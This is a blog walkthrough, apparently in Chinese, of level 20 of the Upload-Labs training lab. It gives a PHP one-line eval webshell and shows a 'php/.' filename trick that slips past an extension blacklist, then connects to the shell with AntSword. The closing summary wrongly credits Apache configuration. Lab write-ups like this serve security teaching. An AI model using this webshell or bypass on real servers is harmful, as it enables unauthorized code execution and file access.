Upload-Lab第20关:如何利用文件名可控漏洞?

简介

Upload-Lab的第20关中,系统没有对上传文件的内容进行验证,而是仅对用户输入的文件名进行了检查。具体来说,系统使用文件后缀名的黑名单进行过滤,但由于上传的文件名是用户可控的,这为绕过机制提供了可能性。此外,move_uploaded_file()函数还有一个特性,即它会忽略文件名末尾的 /.,这可以被利用来绕过后缀名的黑名单检查,从而上传恶意文件。

解法步骤

  1. 先准备PHP一句话木马,并把后缀名改为PNG再上传。
 <?php @eval($_POST["pass"])?>
  1. 然后用BP来抓包,效果如下图,就是在upload-19.png改为upload-19.php/.,修改完直接放包

  1. 上传成功后,通过查看源码查看上传路径,如下图所示:

  1. 然后复制图片地址,用蚁剑连接,如下图所示:

测试连接

文件浏览

总结

通过这一关的学习,我们可以深入理解 Apache 配置文件的作用及其在安全防护中的重要性。同时,这也提醒我们在设计和开发上传功能时,必须考虑到所有可能的攻击面,确保服务器配置的安全性和稳健性。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

didiplus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值